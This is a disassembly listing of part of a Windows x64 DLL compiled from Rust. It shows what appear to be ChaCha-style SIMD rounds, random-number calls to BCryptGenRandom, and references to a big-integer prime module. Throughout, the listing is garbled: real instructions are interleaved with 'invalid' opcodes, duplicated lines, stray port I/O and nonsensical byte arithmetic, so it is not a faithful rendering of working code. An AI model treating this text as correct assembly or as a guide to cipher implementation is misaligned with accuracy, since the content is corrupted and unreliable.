jmp rax
add rsp, 0x88
pop rdi
pop rsi
ret
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_spin_0.5.2_srconce.rs
mov edx, 0x28
call fcn.180069820
lea rcx, str.Once_has_panicked
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_spin_0.5.2_srconce.rs
mov edx, 0x11
call fcn.180069820
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_num_bigint_dig_0.8.4_srcprime.rs
call fcn.180069bb0
int3
sub r8d, 1
jb 0x18003bb1d
movdqa xmm8, xmmword [rsp + 0x30]
paddd xmm8, xmm7
movdqa xmm11, xmmword [rsp + 0x40]
paddd xmm11, xmm12
movdqa xmm9, xmmword [rsp + 0x50]
paddd xmm9, xmm5
movdqa xmm3, xmmword [rsp + 0x20]
paddd xmm3, xmm0
movdqa xmmword [rsp + 0x20], xmm3
pxor xmm13, xmm8
pxor xmm14, xmm11
pxor xmm15, xmm9
pxor xmm2, xmm3
pshuflw xmm13, xmm13, 0xb1
pshufhw xmm13, xmm13, 0xb1
pshuflw xmm14, xmm14, 0xb1
pshufhw xmm14, xmm14, 0xb1
pshuflw xmm15, xmm15, 0xb1
pshufhw xmm15, xmm15, 0xb1
pshuflw xmm2, xmm2, 0xb1
pshufhw xmm6, xmm2, 0xb1
movdqa xmm3, xmmword [rsp + 0x10]
paddd xmm3, xmm13
movdqa xmm2, xmmword [rsp]
paddd xmm2, xmm14
paddd xmm1, xmm15
movdqa xmmword [rsp], xmm1
paddd xmm10, xmm6
pxor xmm7, xmm3
movdqa xmm4, xmm10
movdqa xmmword [rsp + 0x10], xmm10
movdqa xmm10, xmm7
psrld xmm10, 0x14
pslld xmm7, 0xc
por xmm7, xmm10
pxor xmm12, xmm2
movdqa xmm10, xmm12
psrld xmm10, 0x14
pslld xmm12, 0xc
por xmm12, xmm10
pxor xmm5, xmm1
movdqa xmm10, xmm5
psrld xmm10, 0x14
pslld xmm5, 0xc
por xmm5, xmm10
pxor xmm0, xmm4
movdqa xmm10, xmm0
psrld xmm10, 0x14
pslld xmm0, 0xc
por xmm0, xmm10
paddd xmm8, xmm7
paddd xmm11, xmm12
paddd xmm9, xmm5
movdqa xmm4, xmmword [rsp + 0x20]
paddd xmm4, xmm0
movdqa xmmword [rsp + 0x20], xmm4
movdqa xmm10, xmm8
movdqa xmm1, xmmword [0x18006c800]
pshufb xmm10, xmm1
pshufb xmm13, xmm1
pxor xmm13, xmm10
movdqa xmm10, xmm11
pshufb xmm10, xmm1
pshufb xmm14, xmm1
pxor xmm14, xmm10
movdqa xmm10, xmm9
pshufb xmm10, xmm1
pshufb xmm15, xmm1
pxor xmm15, xmm10
movdqa xmm10, xmm4
pshufb xmm10, xmm1
pshufb xmm6, xmm1
pxor xmm6, xmm10
paddd xmm3, xmm13
paddd xmm2, xmm14
movdqa xmm4, xmmword [rsp]
paddd xmm4, xmm15
movdqa xmmword [rsp], xmm4
movdqa xmm1, xmmword [rsp + 0x10]
paddd xmm1, xmm6
pxor xmm7, xmm3
pxor xmm12, xmm2
pxor xmm5, xmm4
pxor xmm0, xmm1
pxor mm0, mm1
pxor mm0, mm1
out dx, eax
shl dword [rsi + 0x44], 0xf
outsd dx, dword [rsi]
xlatb
movdqa xmm10, xmm7
psrld xmm10, 0x19
pslld xmm7, 7
por xmm7, xmm10
movdqa xmm10, xmm12
psrld xmm10, 0x19
pslld xmm12, 7
invalid
por xmm12, xmm10
movdqa xmm10, xmm5
psrld xmm10, 0x19
pslld xmm5, 7
por xmm5, xmm10
invalid
movdqa xmm10, xmm0
psrld xmm10, 0x19
pslld xmm0, 7
por xmm0, xmm10
pshufd xmm10, xmm7, 0x39
pshufw mm2, mm7, 0x39
pshufd xmm12, xmm12, 0x39
pshufd xmm5, xmm5, 0x39
pshufd xmm0, xmm0, 0x39
pshufd xmm3, xmm3, 0x4e
pshufd xmm4, xmm2, 0x4e
pshufd xmm2, xmmword [rsp], 0x4e
pshufw mm2, qword [rsp], 0x4e
pshufw mm2, qword [rsp], 0x4e
movdqa xmmword [rsp + 0x10], xmm2
pshufd xmm1, xmm1, 0x4e
movdqa xmmword [rsp], xmm1
jg 0x18003b8f5
and al, 0x66
paddd mm0, mm2
paddd mm0, mm2
jg 0x18003b8f5
and al, 0x66
paddd mm0, mm2
paddd mm0, mm2
paddd mm0, mm2
paddd xmm11, xmm12
paddd xmm9, xmm5
dec ch
paddd mm1, mm5
movdqa xmm2, xmmword [rsp + 0x20]
push rsp
and al, 0x20
paddd xmm2, xmm0
pshuflw xmm7, xmm8, 0xb1
clc
invalid
sal dl, 1
pshufw mm7, mm0, 0xb1
clc
invalid
clc
mov cl, 0xf3
pshufw mm7, mm7, 0xb1
pshufhw xmm7, xmm7, 0xb1
movdqa xmm1, xmmword [0x18006c810]
movq mm1, qword [0x18006c810]
pshufb xmm13, xmm1
pshufb mm5, mm1
pxor xmm13, xmm7
pshuflw xmm7, xmm11, 0xb1
pshufhw xmm7, xmm7, 0xb1
push qword [rcx + 0x380f4466]
add cl, dh
push qword [rcx + 0x380f4466]
add cl, dh
pxor xmm14, xmm7
pshuflw xmm7, xmm9, 0xb1
pshufhw xmm7, xmm7, 0xb1
pshufb xmm15, xmm1
pxor xmm15, xmm7
pxor mm7, mm7
pxor mm7, mm7
pshuflw xmm7, xmm2, 0xb1
pshufhw xmm7, xmm7, 0xb1
pshufb xmm6, xmm1
pxor xmm6, xmm7
paddd xmm3, xmm13
paddd xmm4, xmm14
paddd mm4, mm6
movdqa xmm7, xmmword [rsp + 0x10]
paddd xmm7, xmm15
movdqa xmmword [rsp + 0x10], xmm7
jg 0x18003b9f5
and al, 0x10
jg 0x18003b9f5
and al, 0x10
movdqa xmm1, xmmword [rsp]
paddd xmm1, xmm6
dec dh
movdqa xmmword [rsp], xmm1
or al, 0x24
pxor xmm10, xmm3
pxor xmm12, xmm4
out dx, eax
in al, 0x66
pxor mm5, mm7
out dx, eax
in al, 0x66
pxor mm5, mm7
pxor xmm0, xmm1
movdqa xmm7, xmm10
psrld xmm7, 0x14
jb 0x18003b97b
adc al, 0x66
pslld mm2, 0xc
invalid
invalid
jb 0x18003b97b
adc al, 0x66
pslld mm2, 0xc
invalid
invalid
or al, 0x66
por mm2, mm7
por xmm10, xmm7
movdqa xmm7, xmm12
movq mm7, mm4
psrld xmm7, 0x14
pslld xmm12, 0xc
adc al, 0x66
pslld mm4, 0xc
por xmm12, xmm7
por mm4, mm7
movdqa xmm7, xmm5
outsd dx, dword [rsi]
std
psrld xmm7, 0x14
pslld xmm5, 0xc
jb 0x18003b9c7
or al, 0x66
por mm5, mm7
jb 0x18003b9c7
or al, 0x66
por mm5, mm7
movdqa xmm7, xmm0
psrld xmm7, 0x14
pslld xmm0, 0xc
por xmm0, xmm7
paddd xmm8, xmm10
paddd mm0, mm2
paddd xmm11, xmm12
paddd xmm9, xmm5
paddd mm1, mm5
paddd xmm2, xmm0
paddd mm2, mm0
shl byte [rsi + 0x44], 1
movq qword [rsp + 0x30], mm0
movdqa xmmword [rsp + 0x30], xmm8
pxor xmm13, xmm8
movdqa xmm1, xmmword [0x18006c800]
movq mm1, qword [0x18006c800]
pshufb xmm13, xmm1
movdqa xmmword [rsp + 0x40], xmm11
pop rsp
and al, 0x40
pop rsp
and al, 0x40
pxor xmm14, xmm11
pshufb xmm14, xmm1
movdqa xmmword [rsp + 0x50], xmm9
pxor xmm15, xmm9
pxor mm7, mm1
invalid
pxor mm7, mm1
out dx, eax
stc
pshufb xmm15, xmm1
movdqa xmmword [rsp + 0x20], xmm2
pxor xmm6, xmm2
out dx, eax
invalid
pshufb xmm6, xmm1
movdqa xmm2, xmm3
movq mm2, mm3
out dx, eax
invalid
movq mm2, mm3
paddd xmm2, xmm13
paddd xmm4, xmm14
movdqa xmm1, xmmword [rsp + 0x10]
and al, 0x10
and al, 0x10
and al, 0x10
paddd xmm1, xmm15
movdqa xmm3, xmmword [rsp]
paddd xmm3, xmm6
pxor xmm10, xmm2
pxor xmm12, xmm4
pxor mm4, mm4
pxor mm4, mm4
pxor xmm5, xmm1
pxor mm5, mm1
pxor xmm0, xmm3
movdqa xmm7, xmm10
psrld xmm7, 0x19
sbb dword [rsi + 0x41], esp
pslld mm2, 7
sbb dword [rsi + 0x41], esp
pslld mm2, 7
por xmm10, xmm7
movdqa xmm7, xmm12
outsd dx, dword [rsi]
cld
psrld xmm7, 0x19
pslld xmm12, 7
por xmm12, xmm7
movdqa xmm7, xmm5
std
out 0x66, eax
movq mm7, mm5
std
psrld xmm7, 0x19
pslld xmm5, 7
jb 0x18003baa9
invalid
por xmm5, xmm7
movdqa xmm7, xmm0
movq mm7, mm0
jmp 0x18003baa8
movq mm7, mm0
outsd dx, dword [rsi]
clc
psrld xmm7, 0x19
pslld xmm0, 7
por xmm0, xmm7
invalid
pshufd xmm7, xmm10, 0x93
pshufd xmm12, xmm12, 0x93
pshufw mm4, mm4, 0x93
pshufd xmm5, xmm5, 0x93
in eax, dx
xchg ebx, eax
pshufd xmm0, xmm0, 0x93
pshufw mm0, mm0, 0x93
pshufd xmm2, xmm2, 0x4e
pshufw mm2, mm2, 0x4e
jo 0x18003bab7
ror byte [rsi + 0x66], cl
movq qword [rsp + 0x10], mm2
movdqa xmmword [rsp + 0x10], xmm2
movdqa xmmword [rsp + 0x10], xmm2
and al, 0x10
pshufd xmm2, xmm4, 0x4e
pshufw mm2, mm4, 0x4e
movdqa xmmword [rsp], xmm2
jg 0x18003bb09
and al, 0x66
pshufw mm1, mm1, 0x4e
pshufd xmm1, xmm1, 0x4e
pshufd xmm10, xmm3, 0x4e
ror dword [rsi + 0x66], cl
pshufw mm5, mm5, 0x39
jo 0x18003baf3
invalid
pshufd xmm13, xmm13, 0x39
jo 0x18003baf3
cmp dword [rsi + 0x45], esp
pshufd xmm14, xmm14, 0x39
pshufw mm6, mm6, 0x39
pshufd xmm15, xmm15, 0x39
pshufd xmm2, xmm6, 0x39
invalid
pshufw mm2, mm6, 0x39
jmp 0x18003b698
add rax, 4
mov r8, rax
mov eax, eax
mov eax, eax
shr r8, 0x20
movd xmm3, r8d
por xmm3, xmmword [rsp + 0x70]
fsub dword [rsi + 0xf]
jmp 0x18003bb8d
jo 0x18003bb9a
movdqa xmm6, xmm3
movq mm6, mm3
outsd dx, dword [rsi]
invalid
pslldq xmm6, 8
shufps xmm6, xmm3, 0xe8
movd xmm4, eax
loopne 0x18003bbab
por mm4, mm6
invalid
jae case.0x180006b46.476
or byte [rdi], cl
invalid
loopne 0x18003bbab
por mm4, mm6
out 0x66, al
movq mm3, mm1
invalid
movdqa xmm3, xmm1
fldenv [rsi + 0xf]
outsd dx, dword [rsi]
and al, 0x30
invalid
movdqa xmm1, xmmword [rsp + 0x30]
xor byte [rsi + 0xf], ah
jg 0x18003bae2
movdqa xmmword [rsp + 0xd0], xmm1
movq qword [rsp + 0xd0], mm1
and al, 0xd0
add byte [rax], al
add byte [rax], al
movaps xmm8, xmmword [rsp + 0x40]
movaps xmm8, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0xe0], xmm8
movaps xmmword [rsp + 0xe0], xmm0
loopne 0x18003bb68
add byte [rax], al
add byte [rdi + rcx + 0x28], al
and al, 0x50
push rax
movaps xmm8, xmmword [rsp + 0x50]
push rax
movaps xmmword [rsp + 0xf0], xmm8
movaps xmm8, xmmword [rsp + 0x20]
movaps xmmword [rsp + 0x100], xmm8
test byte [rax + rax], ah
add dword [rax], eax
add byte [rsi + 0xf], ah
movq qword [rsp + 0x110], mm7
test byte [rax + rax], ah
add dword [rax], eax
add byte [rsi + 0xf], ah
invalid
movq qword [rsp + 0x110], mm7
jg 0x18003bb48
and al, 0x10
adc byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rsi + 0x44], ah
movdqa xmmword [rsp + 0x120], xmm12
movdqa xmmword [rsp + 0x120], xmm12
add byte [rsi + 0xf], ah
jg case.0x180004bed.460
lodsb al, byte [rsi]
movdqa xmmword [rsp + 0x130], xmm5
movdqa xmmword [rsp + 0x140], xmm0
jg 0x18003bb2c
and al, 0x40
add dword [rax], eax
invalid
lodsb al, byte [rsi]
and al, 0x30
add dword [rax], eax
add byte [rsi + 0xf], ah
jg 0x18003bb2c
and al, 0x40
add dword [rax], eax
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x10], al
movaps xmm0, xmmword [rsp + 0x10]
adc byte [rdi], cl
movaps xmmword [rsp + 0x150], xmm0
sub dword [rsp + 0x150], eax
push rax
add dword [rax], eax
add byte [rdi], cl
sub byte [rsp], al
movaps xmm0, xmmword [rsp]
movaps xmmword [rsp + 0x160], xmm0
movdqa xmmword [rsp + 0x170], xmm3
pushfq
and al, 0x70
add dword [rax], eax
add byte [rsi + 0x44], ah
movq qword [rsp + 0x180], mm2
add dword [rax], eax
add byte [rsi + 0xf], ah
jg 0x18003bb66
pushfq
pushfq
and al, 0x70
add dword [rax], eax
add byte [rsi + 0x44], ah
movq qword [rsp + 0x180], mm2
jg 0x18003bb68
and al, 0x80
add dword [rax], eax
add byte [rcx], 0
add byte [rdi + rcx + 0x29], al
lodsb al, byte [rsi]
and al, 0x90
nop
movaps xmmword [rsp + 0x190], xmm13
movdqa xmmword [rsp + 0x1a0], xmm14
invalid
add dword [rax], eax
invalid
nop
add dword [rax], eax
add byte [rsi + 0x44], ah
movq qword [rsp + 0x1a0], mm6
invalid
add dword [rax], eax
invalid
movabs al, byte [0xbc7f0f4466000001]
movdqa xmmword [rsp + 0x1b0], xmm15
movq qword [rsp + 0x1b0], mm7
and al, 0xb0
add dword [rax], eax
add byte [rsi + 0xf], ah
movdqa xmmword [rsp + 0x1c0], xmm2
movaps xmm0, xmmword [rsp + 0xa0]
invalid
jg case.0x1800084e6.391
and al, 0xc0
add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0xa0], al
invalid
add byte [rdi], cl
sub dword [rsp + 0x1d0], eax
movaps xmmword [rsp + 0x1d0], xmm0
movaps xmm0, xmmword [rsp + 0x90]
sub byte [rsp + 0x90], al
add byte [rdi], cl
sub dword [rsp + 0x1e0], eax
movaps xmmword [rsp + 0x1e0], xmm0
movaps xmm0, xmmword [rsp + 0x80]
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x1f0], eax
and al, 0xf0
add dword [rax], eax
invalid
add byte [rax], al
movaps xmmword [rsp + 0x1f0], xmm0
add byte [rdi], cl
sub byte [rsp + 0x60], al
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x200], xmm0
sub dword [rsp + 0x200], eax
add byte [rax], al
movdqa xmmword [rcx + 0x20], xmm4
movq qword [rcx + 0x20], mm4
invalid
xor eax, eax
movdqa xmm0, xmmword [str.expand_32_byte_k]
outsd dx, dword [rsi]
add eax, 0x30b75
outsd dx, dword [rsi]
add eax, 0x30b75
add byte [rsi + 0xf], ah
movdqa xmm5, xmmword [rsp + 0xc0]
movq mm5, qword [rsp + 0xc0]
outsd dx, dword [rsi]
lodsb al, byte [rsi]
and al, 0xc0
add byte [rax], al
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
mov ah, 0x24
mov al, 0
add byte [rax], al
movdqa xmm6, xmmword [rsp + 0xb0]
cmp rax, 0x40
je 0x18003bcb9
movdqa xmm1, xmmword [rsp + rax + 0x1d0]
movdqa xmm2, xmmword [rsp + rax + 0xd0]
paddd xmm2, xmm0
invalid
shl byte [rsi + 0xf], 1
outsd dx, dword [rsi]
pushfq
add al, 0x10
add dword [rax], eax
invalid
invalid
shl byte [rsi + 0xf], 1
outsd dx, dword [rsi]
pushfq
add al, 0x10
add dword [rax], eax
add byte [rsi + 0xf], ah
invalid
movq mm3, qword [rsp + rax + 0x110]
paddd xmm3, xmm5
frstor dword [rsi + 0xf]
movdqa xmm4, xmmword [rsp + rax + 0x150]
movq mm4, qword [rsp + rax + 0x150]
outsd dx, dword [rsi]
movsb byte [rdi], byte [rsi]
add al, 0x50
add dword [rax], eax
add byte [rsi + 0xf], ah
invalid
paddd xmm4, xmm6
paddd xmm1, xmmword [rsp + rax + 0x190]
dec byte [rsp + rax + 0x190]
out 0x66, al
paddd mm1, qword [rsp + rax + 0x190]
dec byte [rsp + rax + 0x190]
dec byte [rsp + rax + 0x190]
mov word [rax + rdx*4], es
add dword [rax], eax
add bl, dh
movdqu xmmword [rdx + rax*4], xmm2
movq qword [rdx + rax*4], mm2
movdqu xmmword [rdx + rax*4 + 0x10], xmm3
movq qword [rdx + rax*4 + 0x10], mm3
adc bl, dh
movq qword [rdx + rax*4 + 0x20], mm4
invalid
invalid
invalid
movdqu xmmword [rdx + rax*4 + 0x20], xmm4
invalid
movdqu xmmword [rdx + rax*4 + 0x30], xmm1
add rax, 0x10
add eax, 0x10
xor byte [rax - 0x7d], cl
add eax, 0x10
rcl byte [rax], 0xeb
movsb byte [rdi], byte [rsi]
jmp case.0x1800085b2.396
movaps xmm6, xmmword [rsp + 0x210]
sub byte [rsp + 0x210], dh
movaps xmm7, xmmword [rsp + 0x220]
sub byte [rsp + 0x220], bh
and al, 0x20
add al, byte [rax]
add byte [rdi + rcx + 0x28], al
test byte [rax + rsi], ah
add al, byte [rax]
add byte [rdi + rcx + 0x28], al
invalid
invalid
invalid
mov word [rax + rax*2], fs
and al, 0x40
and byte [rdx], al
add byte [rax], al
movaps xmm8, xmmword [rsp + 0x230]
movaps xmm9, xmmword [rsp + 0x240]
sub byte [rsp + 0x240], cl
and al, 0x40
add al, byte [rax]
add byte [rdi + rcx + 0x28], al
xchg esp, eax
and al, 0x50
add al, byte [rax]
add byte [rax], al
movaps xmm11, xmmword [rsp + 0x260]
movaps xmm12, xmmword [rsp + 0x270]
invalid
invalid
invalid
movaps xmm10, xmmword [rsp + 0x250]
movaps xmm11, xmmword [rsp + 0x260]
sub byte [rsp + 0x260], bl
movaps xmm12, xmmword [rsp + 0x270]
movaps xmm4, xmmword [rsp + 0x270]
jo case.0x18001e8df.301
add byte [rax], al
movaps xmm13, xmmword [rsp + 0x280]
movaps xmm14, xmmword [rsp + 0x290]
sub byte [rsp + 0x290], dh
lodsb al, byte [rsi]
and al, 0x80
add al, byte [rax]
add byte [rdi + rcx + 0x28], al
sub byte [rsp + 0x290], dh
mov ah, 0x24
nop
add al, byte [rax]
add byte [rax], al
invalid
invalid
invalid
add byte [rax], al
movaps xmm15, xmmword [rsp + 0x2a0]
movaps xmm7, xmmword [rsp + 0x2a0]
sub byte [rsp + 0x2a0], bh
mov esp, 0x2a024
add al, byte [rax]
add byte [rax - 0x7f], cl
invalid
add rsp, 0x2b8
add byte [rax], al
ret
mov eax, dword [rdx + 0x98]
invalid
add byte [rax], al
cmp rax, qword [rdx + 0xa0]
jae 0x18003bd84
add byte [rbx + 0x5b], dh
lea r8, [rax + 1]
mov qword [rdx + 0x98], r8
mov dword [rdx + 0x98], eax
mov dword [rdx + 0x98], eax
cwde
add byte [rax], al
add byte [rbx + rcx*4 + 0x4a], cl
jo case.0x180006b46.484
mov r9, qword [rdx + 0x70]
add r9, rax
add ecx, eax
add ecx, eax
mov r10, qword [rdx + 0x48]
add r10, r9
add edx, ecx
mov r11, qword [rdx + 0x20]
mov ebx, dword [rdx + 0x20]
add r11, r10
shl r11, 4
mov r8, qword [rdx]
mov eax, dword [rdx]
mov eax, dword [rdx]
add r8, r11
add r11, qword [rdx + 0x10]
shl r10, 4
add al, 0x4c
add edx, dword [rdx + 0x38]
add al, 0x4c
add edx, dword [rdx + 0x38]
cmp byte [rcx - 0x3f], cl
shl r9, 4
loope case.0x180006b46.492
add r9, qword [rdx + 0x60]
invalid
shl rax, 4
add rax, qword [rdx + 0x88]
add eax, dword [rdx + 0x88]
add eax, dword [rdx + 0x88]
mov byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 + 0x59], cl
or byte [rcx + rcx*4 + 0x51], cl
mov dword [rcx + 0x10], edx
mov qword [rcx + 0x18], r9
mov qword [rcx + 0x20], rax
and bl, ch
mov qword [rcx + 8], r11
mov dword [rcx + 8], ebx
mov qword [rcx + 0x10], r10
mov dword [rcx + 0x10], edx
mov qword [rcx + 0x18], r9
mov qword [rcx + 0x20], rax
invalid
and bl, ch
jmp case.0x18001c9bf.317
add eax, dword [rbp + 0x31]
ror byte [rcx + rcx*4 + 1], 0xc3
mov qword [rcx], r8
ret
xor r8d, r8d
mov qword [rcx], r8
mov dword [rcx], eax
add ebx, eax
ret
mov rax, qword [r8]
vmovups ymm0, ymmword [rdx]
cld
adc byte [rdx], al
invalid
cld
adc byte [rdx], al
invalid
add al, ch
cld
adc dword [rcx], eax
invalid
vmovups ymmword [rcx], ymm0
add dword [rax - 0x7d], ecx
and qword [rcx + 0x20], 0
and dword [rcx + 0x20], 0
invalid
and byte [rax], al
mov qword [rcx + 0x28], rax
vzeroupper
ja 0x18003bd66
ja 0x18003bd66
sub rsp, 0x68
lea rax, [rsp + 0x28]
lea eax, [rsp + 0x28]
in al, dx
push 0x24448d48
lea eax, [rsp + 0x28]
mov qword [rax], rcx
invalid
invalid
lea eax, [rsp + 0x28]
and al, 0x28
mov qword [rax], rcx
lea rcx, [0x18003bdf2]
or eax, 0x3c
or eax, 0x3c
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rax + 8], rcx
mov dword [rax + 8], ecx
or byte [rax - 0x73], cl
or eax, 0x456cf
add al, 0
lea rcx, [0x180081490]
lea r8, [rsp + 0x38]
lea eax, [rsp + 0x38]
and al, 0x38
mov qword [r8], rcx
or byte [rcx + 1], bh
mov ecx, 1
add byte [rcx - 0x77], cl
or byte [rcx - 0x7d], cl
or byte [rcx - 0x7d], cl
mov qword [r8 + 8], rcx
mov dword [rax + 8], ecx
or byte [rcx - 0x7d], cl
and qword [r8 + 0x20], 0
and dword [rax + 0x20], 0
invalid
add byte [rcx - 0x77], cl
mov qword [r8 + 0x10], rax
mov dword [rax + 0x10], eax
adc byte [rcx - 0x77], cl
adc byte [rcx - 0x77], cl
mov qword [r8 + 0x18], rcx
sbb byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rdx, qword [rdx + 0x28]
call fcn.180021b20
xor al, 0x5d
invalid
invalid
push rdx
sub al, ch
xor al, 0x5d
pop rbp
invalid
nop
add rsp, 0x68
add esp, 0x68
ret
mov eax, dword [rcx]
mov rcx, qword [rcx + 8]
or byte [rbx + rcx*4 + 0x41], cl
and byte [rax - 0x77], cl
invalid
invalid
mov r8, qword [rcx + 0x20]
mov eax, dword [rcx + 0x20]
mov rcx, rax
mov ecx, eax
ror dword [rcx - 1], 0xe0
jmp r8
push rdi
sub rsp, 0x28
sub byte [rcx + rcx*4 - 0x32], cl
mov rsi, r9
mov esi, ecx
mov r9, rdx
mov ecx, edx
mov rax, rcx
lea rcx, [rdx*4]
lea ecx, [rdx*4]
lea ecx, [rdx*4]
or al, 0x95
add byte [rax], al
add byte [rax], al
invalid
add byte [rax + 0x39], cl
int1
cmp rcx, rsi
cmovb rsi, rcx
int1
lea rdx, [rsi + 3]
lea edx, [rsi + 3]
push rsi
add ecx, dword [rax - 0x77]
xlatb
mov rdi, rdx
shr rdi, 2
shr edi, 2
cmp rdi, r9
iretd
ja 0x18003be6d
movabs rcx, 0x7ffffffffffffffc
and rdx, rcx
invalid
mov ecx, 0xfffffffc
invalid
cld
invalid
retf 0x3948
cmp rsi, rdx
ja case.0x18002caa7.93
lea rcx, str.registery_srcindex.crates.io_6f17d22bba15001f_rand_core_0.6.4_srcimpls.rs
add eax, dword [rax]
add byte [rax - 0x77], cl
and al, 0x20
invalid
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
and byte [rcx + rcx*4 - 0x3f], cl
mov rcx, r8
mov rdx, rsi
mov edx, esi
mov r8, rax
mov r8, rax
ror byte [rcx - 0x77], 0xf1
mov r9, rsi
mov ecx, esi
call fcn.18001fa56
mov rax, rdi
idiv byte [rbx]
invalid
mov rdx, rsi
mov edx, esi
add rsp, 0x28
add esp, 0x28
sub byte [rdi + 0x5e], bl
pop rdi
pop rsi
ret
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_rand_core_0.6.4_srcimpls.rs
lea eax, [0x18007a7f0]
jl 0x18003be5b
add eax, dword [rax]
add byte [rax - 0x77], cl
mov rcx, rdi
mov ecx, edi
stc
mov rdx, r9
call fcn.180069810
invalid
retf 0x91e8
add byte [rbp + rcx*4 + 5], cl
invalid
lea r8, str.registery_srcindex.crates.io_6f17d22bba15001f_rand_core_0.6.4_srcimpls.rs
jmp 0x1094bbe8b
add eax, dword [rax]
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.180069810
int3
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
sub byte [rax - 0x77], cl
iretd
mov r12d, 0x20
and byte [rax], al
add byte [rax], al
sub byte [rax - 0x77], cl
iretd
and byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x43], al
mov r13d, 0xffffffff
invalid
mov rbp, qword [sym.imp.bcrypt.dll_BCryptGenRandom]
mov eax, dword [rbx + rax]
add eax, dword [rax]
add byte [rax - 0x75], cl
xor eax, 0x30144
add dword [rbx], eax
invalid
mov rsi, qword [sym.imp.ADVAPI32.dll_SystemFunction036]
add dword [rbx], eax
add byte [rbp - 0x7b], cl
test r12, r12
je 0x18003bf1f
pop rsi
in al, 0x74
pop rsi
mov r14, rdi
mov esi, edi
dec byte [rbp + 0x39]
in al, dx
cmp r12, r13
cmp esp, ebp
mov r15d, 0xffffffff
cmovb r15, r12
cmovb edi, esp
cmovb edi, esp
add rdi, r15
add edi, edi
sub r12, r15
sub esp, edi
xor ecx, ecx
mov rdx, r14
mov edx, esi
mov edx, esi
mov r8d, r15d
mov r8d, r15d
clc
mov r9d, 2
mov ecx, 2
add al, byte [rax]
add byte [rax], al
add bh, bh
call rbp
add byte [rax], al
call rbp
cmp eax, 0xc0000000
add byte [rax], al
add al, al
add byte [rax], al
add al, al
jb 0x18003bebc
mov ebx, eax
ret
mov rcx, r14
mov edx, r15d
cli
call rsi
test al, al
jne 0x18003bebc
and ebx, 0x7fffffff
invalid
je 0x18003bf1f
sbb ecx, dword [rdx + 0x4f3f605]
add byte [rdx + 4], bh
mov edx, 4
mov al, byte [0x18008b300]
add eax, 0x4f3f6
mov edx, 4
xor ecx, ecx
call fcn.180059d10
test rax, rax
je 0x18003bf32
fld qword [rcx]
add byte [rax - 0x7b], cl
sal byte [rdi + rdx - 0x77], 0x18
mov dword [rax], ebx
jmp 0x18003bf21
add dh, byte [rcx]
ror byte [rax - 0x7d], 0xc4
sub byte [rbx + 0x5d], bl
xor eax, eax
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop rsi
pop rsi
pop r15
ret
mov ecx, 4
mov edx, 4
add al, 0
add byte [rax], al
add byte [rdx + 4], bh
add al, 0
add byte [rax], al
add al, ch
invalid
add byte [rax], al
call fcn.180069620
int3
invalid
lea eax, str.description___is_deprecated__use_Display
mov edx, 0x28
add byte [rax], al
invalid
out 3, eax
add byte [rdx + 0x28], bh
sub byte [rax], al
add byte [rax], al
add byte [rax], al
add bl, al
ret
add cl, ch
cld
je case.0x180006b46.501
add byte [rsi + 0x57], dl
push rdi
sub rsp, 0x28
mov rdi, rdx
sub byte [rax - 0x77], cl
xlatb
mov rsi, rcx
mov esi, ecx
mov rcx, rdx
mov rdx, rsi
mov edx, esi
call fcn.180063458
add al, byte [rax]
test rax, rax
je 0x18003bf7f
add rsp, 0x28
pop rdi
pop rsi
ret
mov rcx, rdi
mov rdx, rsi
mov edx, esi
call fcn.180069620
xchg esi, eax
invalid
add al, byte [rax]
add ah, cl
sub rsp, 0x38
cmp byte [rax - 0x75], cl
add dword [rax - 0x75], ecx
mov ecx, dword [rax]
int3
cmp byte [rax - 0x75], cl
add dword [rax - 0x75], ecx
mov ecx, dword [rax]
lea r8, [0x180082850]
mov ecx, dword [rax]
lea r8, [0x180082850]
lea eax, [0x180082850]
movsxd rcx, dword [r8 + rcx*4]
or al, 0x88
mov byte [rcx + rax - 0x3f], cl
add rcx, r8
jmp rcx
add rax, 8
add eax, 8
or byte [rbp + rcx*4 + 0x4c], cl
and al, 0x30
lea r9, [rsp + 0x30]
and al, 0x30
mov qword [r9], rax
mov dword [rcx], eax
add dword [rax - 0x73], ecx
add eax, 0x3e988
mov cl, ch
add eax, dword [rax]
lea rax, [0x18007a940]
mov cl, ch
add eax, dword [rax]
mov qword [rsp + 0x20], rax
and al, 0x20
and byte [rax - 0x73], cl
lea rax, [0x18007a93a]
lea eax, [0x18007a93a]
add eax, 0x3e976
jbe 0x18003bfab
add eax, dword [rax]
mov r8d, 4
mov eax, 4
add al, 0
add byte [rax], al
add byte [rax], al
add bl, ch
mov rcx, qword [rdx + 0x20]
mov rcx, qword [rdx + 0x20]
jmp 0x18003c00c
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
invalid
sub byte [rax - 0x75], cl
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x18007a9ff]
adc eax, 0x3ea20
add eax, dword [rax]
add byte [rcx - 0x48], al
adc eax, dword [rax]
add byte [rax], al
invalid
mov r8d, 0x13
mov eax, 0x13
add byte [rax], al
add bl, ch
jmp case.0x18001e8df.311
add rax, 8
add rax, 8
lea r9, [rsp + 0x30]
and al, 0x30
xor byte [rcx - 0x77], cl
